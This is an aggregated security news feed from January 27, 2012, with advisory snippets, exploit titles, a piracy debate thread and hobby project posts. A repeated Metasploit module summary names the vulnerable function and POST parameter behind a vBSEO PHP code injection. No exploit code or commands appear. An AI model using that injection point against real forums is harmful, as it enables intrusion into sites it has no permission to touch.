• 10:27

  [SECURITY] [DSA 2395-1] wireshark security update

   » ‎ Full Disclosure

  Posted by Moritz Muehlenhoff on Jan 27

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2395-1 security () debian org
  http://www.debian.org/security/ Moritz Muehlenhoff
  January 27, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : wireshark
  Vulnerability : buffer underflow
  Problem type...
  

  Tags:   

• 10:24

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Michael Schmidt on Jan 27

  You want to be very careful with that line of thought. You are taking the creator the rightful owners profits, which
  they are entitled to if it is a product they created to be sold. You are confusing what you want - with what the law
  states. Theft is typically very widely defined in the law, not just what the dictionary states.
  
  When you make a copy, you are performing a step that the manufacturer takes with physical products. Just because...
  

  Tags:   

• 10:21

  AdaCore Security Advisory SA-2012-L119-003 Hash collisions in AWS

   » ‎ Bugtraq

  Posted by Thomas Quinot on Jan 27

  AdaCore Security Advisory
  =========================
  
  SA-2012-L119-003 Hash collisions in AWS
  
  Problem: Impacted versions of AWS store key/value pairs from submitted
  form data in hash tables using a hash function that has
  predictable collisions. As a result, a single specially crafted
  HTTP request can cause the server to use hours of CPU time,
  thus causing a denial of service.
  
  Impact:...
  

  Tags:   

• 9:58

  How to add flair to a webpage that shows your project data

   » ‎ Hack a Day
  This temperature display may not knock your socks off, but it’s a simple demonstration of how you can used vector graphics as a web readout for data (translated). [Luca] wrote this four page tutorial to help others, he makes it look really easy, and the sky’s the limit on eye candy once you get he basics [...]

  Tags:  webpage flair project vector-graphics eye-candy temperature-display Software hacks  

• 9:55

  Advisory: Remote Command Execution in Gitorious

   » ‎ Full Disclosure

  Posted by joernchen of Phenoelit on Jan 27

  Hi,
  
  FYI, see attached.
  
  cheers,
  
  joernchen
  

  Tags:   

• 8:20

  US Lawmakers Question Google Over Privacy Policy

   » ‎ Packet Storm Security Headlines
  US Lawmakers Question Google Over Privacy Policy

  Tags:  google privacy question lawmakers privacy-policy  

• 8:20

  Judges Set Timetable For McKinnon Case Resolution

   » ‎ Packet Storm Security Headlines
  Judges Set Timetable For McKinnon Case Resolution

  Tags:  case set mckinnon case-resolution timetable  

• 8:20

  Facebook And Washington State Take On A Clickjacker

   » ‎ Packet Storm Security Headlines
  Facebook And Washington State Take On A Clickjacker

  Tags:  and facebook state washington washington-state  

• 8:20

  European Parliament Rapporteur Quits In Acta Protest

   » ‎ Packet Storm Security Headlines
  European Parliament Rapporteur Quits In Acta Protest

  Tags:  european rapporteur european-parliament parliament  

• 8:05

  Gentoo Linux Security Advisory 201201-15

   » ‎ Packet Storm Security Advisories
  Gentoo Linux Security Advisory 201201-15 - Two vulnerabilities have been found in ktsuss, allowing local attackers to gain escalated privileges. Versions less than or equal to 1.4 are affected.

  Tags:  gentoo security linux gentoo-linux-security security-advisory attackers  

• 8:05

  Gentoo Linux Security Advisory 201201-15

   » ‎ Packet Storm Security Recent Files
  Gentoo Linux Security Advisory 201201-15 - Two vulnerabilities have been found in ktsuss, allowing local attackers to gain escalated privileges. Versions less than or equal to 1.4 are affected.

  Tags:  gentoo security linux gentoo-linux-security security-advisory attackers  

• 8:05

  Gentoo Linux Security Advisory 201201-15

   » ‎ Packet Storm Security Misc. Files
  Gentoo Linux Security Advisory 201201-15 - Two vulnerabilities have been found in ktsuss, allowing local attackers to gain escalated privileges. Versions less than or equal to 1.4 are affected.

  Tags:  gentoo security linux gentoo-linux-security security-advisory attackers  

• 8:01

  Synthesize with a hard drive

   » ‎ Hack a Day
  If you’d like a pseudo-mechanical way of producing a droning synthesizer sound, [gijs] is your man. He made a small synthesizer out of nothing but an old hard drive and a few components. Whenever a disk platter is spun manually, the spindle motor inside the drive produces a few out of phase sine waves on its [...]

  Tags:  synthesize drive synthesizer synthesizer-sound spindle-motor sine-waves musical hacks  

• 7:50

  [webapps] - vBSEO

   » ‎ Exploit-DB
  [webapps] - vBSEO

  Tags:   

• 7:50

  [remote] - HP Diagnostics Server magentservice.exe Overflow - [CVE: 2011-4789]

   » ‎ Exploit-DB
  [remote] - HP Diagnostics Server magentservice.exe Overflow - [CVE: 2011-4789]

  Tags:   

• 7:44

  Debian Security Advisory 2394-1

   » ‎ Packet Storm Security Advisories
  Debian Linux Security Advisory 2394-1 - Many security problems had been fixed in libxml2, a popular library to handle XML data files.

  Tags:  advisory debian security popular-library linux-security debian-linux  

• 7:44

  Debian Security Advisory 2394-1

   » ‎ Packet Storm Security Recent Files
  Debian Linux Security Advisory 2394-1 - Many security problems had been fixed in libxml2, a popular library to handle XML data files.

  Tags:  advisory debian security popular-library linux-security debian-linux  

• 7:44

  Debian Security Advisory 2394-1

   » ‎ Packet Storm Security Misc. Files
  Debian Linux Security Advisory 2394-1 - Many security problems had been fixed in libxml2, a popular library to handle XML data files.

  Tags:  advisory debian security popular-library linux-security debian-linux  

• 7:29

  [HITB-Announce] Reminder: HITB2012AMS Call For Papers Closing Soon

   » ‎ Bugtraq

  Posted by Hafez Kamal on Jan 27

  This is a gentle reminder that the Call for Papers for the third annual
  HITBSecConf in Europe closes on the 18th of February! Send in your
  submissions now!
  
  http://cfp.hackinthebox.org/
  
  ---
  
  This year, we're moving to a new, bigger and better venue -- the
  award winning Okura Hotel right in middle of Amsterdam with easy access
  via public transportation. #HITB2012AMS will be a quad-track conference
  featuring keynote speakers Andy Ellis (Chief...
  

  Tags:   

• 7:28

  Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities

   » ‎ Full Disclosure

  Posted by research () vulnerability-lab com on Jan 27

  Title:
  ======
  Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities
  
  Date:
  =====
  2012-01-27
  
  References:
  ===========
  http://vulnerability-lab.com/get_content.php?id=144
  
  VL-ID:
  =====
  144
  
  Introduction:
  =============
  The FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats
  from email
  and Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time...
  

  Tags:   

• 7:21

  [ GLSA 201201-15 ] ktsuss: Privilege escalation

   » ‎ Bugtraq

  Posted by Sean Amoss on Jan 27

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  Gentoo Linux Security Advisory GLSA 201201-15
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  http://security.gentoo.org/
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  
  Severity: High
  Title: ktsuss: Privilege escalation
  Date: January 27, 2012...
  

  Tags:   

• 7:15

  [ GLSA 201201-15 ] ktsuss: Privilege escalation

   » ‎ Full Disclosure

  Posted by Sean Amoss on Jan 27

  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  Gentoo Linux Security Advisory GLSA 201201-15
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  http://security.gentoo.org/
  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  
  Severity: High
  Title: ktsuss: Privilege escalation
  Date: January 27, 2012...
  

  Tags:   

• 7:01

  @publictextbox is a Twitter enabled phone booth

   » ‎ Hack a Day
  In the interests of open communication in shared spaces, [dan] made a public text box that serves as a terminal to the @publictextbox twitter account. We could see something like this being useful in a hackerspace or other hang out to announce to the world the happenings of the resident makers and builders. The software setup [...]

  Tags:  twitter publictextbox phone software-setup open-communication misc hacks  

• 6:59

  [SECURITY] [DSA 2394-1] libxml2 security update

   » ‎ Bugtraq

  Posted by Luciano Bello on Jan 27

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2394-1 security () debian org
  http://www.debian.org/security/ Luciano Bello
  January 27, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : libxml2
  Vulnerability : several
  Problem type : remote...
  

  Tags:   

• 5:01

  Sixty4Racer an 8×8 Game

   » ‎ Hack a Day
  [Pete] has a cool new tutorial creating a re-imagining of the Atari classic “River Raid” for the PIX-6T4 micro controller based game system. The PIX is a netduino on a larger board featuring 2 analog controllers, a speaker, an sd card and an 8×8 monochrome LED display. With a resolution that low, it may make [...]

  Tags:  racer game pix pete atari-classic analog-controllers river-raid arduino hacks  

• 4:26

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Valdis . Kletnieks on Jan 27

  On Fri, 27 Jan 2012 18:01:31 +0900, Robert Kim App and Facebook Marketing said:
  
  You may want to talk to your fellow content producers - and even more
  importantly, certain content *restirction-of-distribution cartels* about
  *their* sense of entitlement.
  

  Tags:   

• 3:29

  Re: VNC viewers: Clipboard of host automatically sent to remote machine

   » ‎ Full Disclosure

  Posted by Alyx on Jan 27

  Why yes, yes there is. :) More of a distinction, in fact, than there is in
  Linux world!
  

  Tags:   

• 3:11

  vBSEO 3.6.0 proc_deutf() Remote PHP Code Injection

   » ‎ Packet Storm Security Exploits
  This Metasploit module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax.

  Tags:  proc php deutf arbitrary-code php-code vulnerability  

• 3:11

  vBSEO 3.6.0 proc_deutf() Remote PHP Code Injection

   » ‎ Packet Storm Security Recent Files
  This Metasploit module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax.

  Tags:  proc php deutf arbitrary-code php-code vulnerability  

• 3:11

  vBSEO 3.6.0 proc_deutf() Remote PHP Code Injection

   » ‎ Packet Storm Security Misc. Files
  This Metasploit module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax.

  Tags:  proc php deutf arbitrary-code php-code vulnerability  

• 3:03

  [SECURITY] [DSA 2394-1] libxml2 security update

   » ‎ Full Disclosure

  Posted by Luciano Bello on Jan 27

  -------------------------------------------------------------------------
  Debian Security Advisory DSA-2394-1 security () debian org
  http://www.debian.org/security/ Luciano Bello
  January 27, 2012 http://www.debian.org/security/faq
  -------------------------------------------------------------------------
  
  Package : libxml2
  Vulnerability : several
  Problem type : remote...
  

  Tags:   

• 3:00

  Re: Fw: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Laurelai on Jan 27

  Except that you just posted about it in public on the internet...
  

  Tags:   

• 2:13

  Fw: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Jerry dePriest on Jan 27

  software "piracy" has been around for ever. I remember copying punch cards. It took forever and if you made one mistake
  hours of work was down the tubes. I had an apple II that we used "Disk Pirate" 1-11 to copy games, peach tree
  accounting software, etc. In the time it took to load the 5 1/4" floppy you could make a copy. From that you could make
  as many copies as you deemed fit. I must of made $100 from Dig Dug...
  

  Tags:   

• 1:39

  [HITB-Announce] Reminder: HITB2012AMS Call For Papers Closing Soon

   » ‎ Penetration Testing

  Posted by Hafez Kamal on Jan 27

  This is a gentle reminder that the Call for Papers for the third annual
  HITBSecConf in Europe closes on the 18th of February! Send in your
  submissions now!
  
  http://cfp.hackinthebox.org/
  
  ---
  
  This year, we're moving to a new, bigger and better venue -- the
  award winning Okura Hotel right in middle of Amsterdam with easy access
  via public transportation. #HITB2012AMS will be a quad-track conference
  featuring keynote speakers Andy Ellis (Chief...
  

  Tags:   

• 1:38

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Laurelai on Jan 27

  Posting to /r/netsec now...
  

  Tags:   

• 1:37

  Re: when did piracy/theft become expression of freedom

   » ‎ Full Disclosure

  Posted by Laurelai on Jan 27

  Let's not kid ourselves here, you all would download a car if you could
  and you know it ;)
  
  That being said I would prefer people *widely use* my software and
  donate money to me if they think its worth something, the humble indy
  bundles profits are telling in this case. Perhaps if content producers
  would change their business model to adapt to modern times instead of
  trying to force the world to live in the past software copying...
  

  Tags:   

• 0:00

  Vuln: QEMU KVM CVE-2012-0029 Local Privilege Escalation Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  QEMU KVM CVE-2012-0029 Local Privilege Escalation Vulnerability

  Tags:  escalation privilege-escalation-vulnerability qemu local-privilege-escalation  

• 0:00

  Vuln: Apache Tomcat AJP Protocol Security Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Apache Tomcat AJP Protocol Security Bypass Vulnerability

  Tags:  tomcat ajp apache apache-tomcat protocol-security  

• 0:00

  Vuln: Apache Tomcat 'sendfile' Request Attributes Information Disclosure Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Apache Tomcat 'sendfile' Request Attributes Information Disclosure Vulnerability

  Tags:  tomcat sendfile apache information-disclosure-vulnerability apache-tomcat